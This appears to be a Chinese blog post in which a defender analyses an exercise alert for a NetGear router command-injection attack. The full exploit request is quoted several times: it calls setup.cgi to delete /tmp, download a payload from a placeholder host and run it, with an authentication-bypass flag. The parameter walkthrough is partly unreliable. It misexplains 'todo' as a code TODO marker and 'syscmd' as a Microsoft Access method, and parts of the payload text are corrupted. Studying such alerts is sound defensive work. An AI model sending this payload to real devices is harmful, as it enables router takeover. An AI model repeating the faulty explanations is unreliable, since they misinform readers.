我见我思之hvv偷师学艺——命令注入linux_command_inject
常见告警信息价值提取:
源IP
大概率为代理IP,可通过情报平台进行识别此IP的历史攻击行为。
源端口
参考意义不大。
目的IP
我方资产IP(可定位疑似漏洞的具体资产范围)。
目的端口
我方资产IP对应端口(可辅助确认端口所在资产范围)。
响应码
辅助确认漏洞是否成功(200代表疑似漏洞利用成功。4XX/5XX一般都是利用失败)。
载荷:
Get /setup.cgi?next_file=netgear.cgr&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://x.x.x.x:x/example+-o+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP /1.0
请求体:
Get /setup.cgi?next_file=netgear.cgr&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://x.x.x.x:x/example+-o+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP /1.0
漏洞解析:
漏洞名称:
NetGear 路由器任意执行漏洞(通过搜索此漏洞的主要程序文件setup.cgi发现)
漏洞利用原理:
部分内容参考自:
https://blog.csdn.net/li371518473/article/details/128527613 https://blog.csdn.net/weixin_35509395/article/details/119636901
Poc整体参考示例:
/setup.cgi?next_file=netgear.cgr&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://x.x.x.x:x/example+-o+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP /1.0
首先,通过 GET 方法触发 “setup.cgi” 文件。
“setup.cgi” 文件一般作为安装工具使用,可以通过编辑此文件进行安装对应系统。
然后,通过 todo 命令执行 syscmd,
todo是一个特殊的标记,用于标识需要实现但目前还未实现的功能.
最后,通过 syscmd 来执行下载和执行病毒的命令。
使⽤SysCmd⽅法可以:在状态栏中显⽰进度表或可选的指定⽂本,返回有关 Microsoft Access 及其关联⽂件的信息,或返回指定数据库对象的状态
“cmd=rm+-rf+/tmp/*”
表示删除/tmp文件夹下所有内容。
“wget+http://x.x.x.x:x/example+-o+/tmp/netgear”
表示:下载网址“http://x.x.x.x:x/” 下example夹内的内容 至 特定的文件夹 “/tmp/netgear” 下。
sh+netgear
通过 “sh” 脚本命令执行 "netgear"文件(已下载exp)
curpath=/
切换当前脚本路径为根目录/
currentsetting.htm=1
currentsetting.htm字段会触发一个判定标志,这个标志=1会直接使判定通过。作用结果:绕过访问验证机制。
总结与收获:
调用系统本身程序文件(漏洞利用点)+设定漏洞下载位置+下载exp+执行exp+绕过目标系统访问鉴权(exp安全落地)。
万般皆自度,半点不由人。
本文来自博客园,作者:怀玉,转载请注明原文链接:https://www.cnblogs.com/--l-/p/18214651